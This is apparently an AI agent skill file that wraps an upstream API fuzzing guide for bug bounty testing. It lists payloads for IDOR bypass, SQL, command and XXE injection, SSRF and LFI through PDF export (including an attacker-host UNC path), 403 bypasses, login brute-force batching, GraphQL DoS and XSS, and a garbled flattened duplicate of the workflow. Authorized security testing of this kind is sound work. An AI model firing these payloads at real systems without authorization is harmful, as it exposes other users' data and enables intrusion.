API Fuzzing Bug Bounty

API Fuzzing for Bug Bounty

Overview

This public intake copy packages plugins/antigravity-awesome-skills-claude/skills/api-fuzzing-bug-bounty from https://github.com/sickn33/antigravity-awesome-skills into the native Omni Skills editorial shape without hiding its origin.

Use it when the operator needs the upstream workflow, support files, and repository context to stay intact while the public validator and private enhancer continue their normal downstream flow.

This intake keeps the copied upstream files intact and uses the external_source block in metadata.json plus ORIGIN.md as the provenance anchor for review.

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments. # API Fuzzing for Bug Bounty

Imported source sections that did not map cleanly to the public headings are still preserved below or in the support files. Notable imported sections: Purpose, Inputs/Prerequisites, Outputs/Deliverables, API Types Overview, GraphQL-Specific Testing, Endpoint Bypass Techniques.

When to Use This Skill

Use this section as the trigger filter. It should make the activation boundary explicit before the operator loads files, runs commands, or opens a pull request.

• This skill is applicable to execute the workflow or actions described in the overview.
• Use when the request clearly matches the imported source intent: Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and....
• Use when the operator should preserve upstream workflow detail instead of rewriting the process from scratch.
• Use when provenance needs to stay visible in the answer, PR, or review packet.
• Use when copied upstream references, examples, or scripts materially improve the answer.
• Use when the workflow should remain reviewable in the public intake repo before the private enhancer takes over.

Operating Table

Workflow

This workflow is intentionally editorial and operational at the same time. It keeps the imported source useful to the operator while still satisfying the public intake standards that feed the downstream enhancer flow.

1. Step 1: API Reconnaissance Identify API type and enumerate endpoints: bash # Check for Swagger/OpenAPI documentation /swagger.json /openapi.json /api-docs /v1/api-docs /swagger-ui.html # Use Kiterunner for API discovery kr scan https://target.com -w routes-large.kite # Extract paths from Swagger python3 json2paths.py swagger.json ### Step 2: Authentication Testing bash # Test different login paths /api/mobile/login /api/v3/login /api/magiclink /api/admin/login # Check rate limiting on auth endpoints # If no rate limit → brute force possible # Test mobile vs web API separately # Don't assume same security controls ### Step 3: IDOR Testing Insecure Direct Object Reference is the most common API vulnerability: bash # Basic IDOR GET /api/users/1234 → GET /api/users/1235 # Even if ID is email-based, try numeric /?userid=111 instead of /?userid=user@mail.com # Test /me/orders vs /user/654321/orders IDOR Bypass Techniques: bash # Wrap ID in array {"id":111} → {"id":[111]} # JSON wrap {"id":111} → {"id":{"id":111}} # Send ID twice URL?id=&id= # Wildcard injection {"userid":"*"} # Parameter pollution /api/getprofile?userid=&userid= {"userid":,"userid":} ### Step 4: Injection Testing SQL Injection in JSON: json {"id":"56456"} → OK {"id":"56456 AND 1=1#"} → OK {"id":"56456 AND 1=2#"} → OK {"id":"56456 AND 1=3#"} → ERROR (vulnerable!) {"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC Command Injection: bash # Ruby on Rails ?url=Kernel#open → ?url=|ls # Linux command injection api.url.com/endpoint?name=file.txt;ls%20/ XXE Injection: xml ]> SSRF via API: html .NET Path.Combine Vulnerability: bash # If .NET app uses Path.Combine(path1, path_2) # Test for path traversal https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png ### Step 5: Method Testing bash # Test all HTTP methods GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1 # Switch content type Content-Type: application/json → application/xml ---

2. Confirm the user goal, the scope of the imported workflow, and whether this skill is still the right router for the task.
3. Read the overview and provenance files before loading any copied upstream support files.
4. Load only the references, examples, prompts, or scripts that materially change the outcome for the current request.
5. Execute the upstream workflow while keeping provenance and source boundaries explicit in the working notes.
6. Validate the result against the upstream expectations and the evidence you can point to in the copied files.
7. Escalate or hand off to a related skill when the work moves out of this imported workflow's center of gravity.

Imported Workflow Notes

Imported: Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

Imported: Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Examples

Example 1: Ask for the upstream workflow directly

Use @api-fuzzing-bug-bounty to handle <task>. Start from the copied upstream workflow, load only the files that change the outcome, and keep provenance visible in the answer.

Explanation: This is the safest starting point when the operator needs the imported workflow, but not the entire repository.

Example 2: Ask for a provenance-grounded review

Review @api-fuzzing-bug-bounty against metadata.json and ORIGIN.md, then explain which copied upstream files you would load first and why.

Explanation: Use this before review or troubleshooting when you need a precise, auditable explanation of origin and file selection.

Example 3: Narrow the copied support files before execution

Use @api-fuzzing-bug-bounty for <task>. Load only the copied references, examples, or scripts that change the outcome, and name the files explicitly before proceeding.

Explanation: This keeps the skill aligned with progressive disclosure instead of loading the whole copied package by default.

Example 4: Build a reviewer packet

Review @api-fuzzing-bug-bounty using the copied upstream files plus provenance, then summarize any gaps before merge.

Explanation: This is useful when the PR is waiting for human review and you want a repeatable audit packet.

Imported Usage Notes

Imported: Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Best Practices

Treat the generated public skill as a reviewable packaging layer around the upstream repository. The goal is to keep provenance explicit and load only the copied source material that materially improves execution.

• Keep the imported skill grounded in the upstream repository; do not invent steps that the source material cannot support.
• Prefer the smallest useful set of support files so the workflow stays auditable and fast to review.
• Keep provenance, source commit, and imported file paths visible in notes and PR descriptions.
• Point directly at the copied upstream files that justify the workflow instead of relying on generic review boilerplate.
• Treat generated examples as scaffolding; adapt them to the concrete task before execution.
• Route to a stronger native skill when architecture, debugging, design, or security concerns become dominant.

Troubleshooting

Problem: The operator skipped the imported context and answered too generically

Symptoms: The result ignores the upstream workflow in plugins/antigravity-awesome-skills-claude/skills/api-fuzzing-bug-bounty, fails to mention provenance, or does not use any copied source files at all. Solution: Re-open metadata.json, ORIGIN.md, and the most relevant copied upstream files. Check the external_source block first, then restate the provenance before continuing.

Problem: The imported workflow feels incomplete during review

Symptoms: Reviewers can see the generated SKILL.md, but they cannot quickly tell which references, examples, or scripts matter for the current task. Solution: Point at the exact copied references, examples, scripts, or assets that justify the path you took. If the gap is still real, record it in the PR instead of hiding it.

Problem: The task drifted into a different specialization

Symptoms: The imported skill starts in the right place, but the work turns into debugging, architecture, design, security, or release orchestration that a native skill handles better. Solution: Use the related skills section to hand off deliberately. Keep the imported provenance visible so the next skill inherits the right context instead of starting blind.

Imported Troubleshooting Notes

Imported: Troubleshooting

Related Skills

• @00-andruia-consultant - Use when the work is better handled by that native specialization after this imported skill establishes context.
• @00-andruia-consultant-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.
• @10-andruia-skill-smith - Use when the work is better handled by that native specialization after this imported skill establishes context.
• @10-andruia-skill-smith-v2 - Use when the work is better handled by that native specialization after this imported skill establishes context.

Additional Resources

Use this support matrix and the linked files below as the operator packet for this imported skill. They should reflect real copied source material, not generic scaffolding.

Imported Reference Notes

Imported: Quick Reference

Imported: Tools Reference

Imported: Inputs/Prerequisites

• Burp Suite or similar proxy tool
• API wordlists (SecLists, api_wordlist)
• Understanding of REST/GraphQL/SOAP protocols
• Python for scripting
• Target API endpoints and documentation (if available)

Imported: Outputs/Deliverables

• Identified API vulnerabilities
• IDOR exploitation proofs
• Authentication bypass techniques
• SQL injection points
• Unauthorized data access documentation

Imported: API Types Overview

Imported: GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Imported: Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Imported: Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

Imported: Common API Vulnerabilities Checklist

Imported: Constraints

Must:

• Test mobile, web, and developer APIs separately
• Check all API versions (/v1, /v2, /v3)
• Validate both authenticated and unauthenticated access

Must Not:

• Assume same security controls across API versions
• Skip testing undocumented endpoints
• Ignore rate limiting checks

Should:

• Add X-Requested-With: XMLHttpRequest header to simulate frontend
• Check archive.org for historical API endpoints
• Test for race conditions on sensitive operations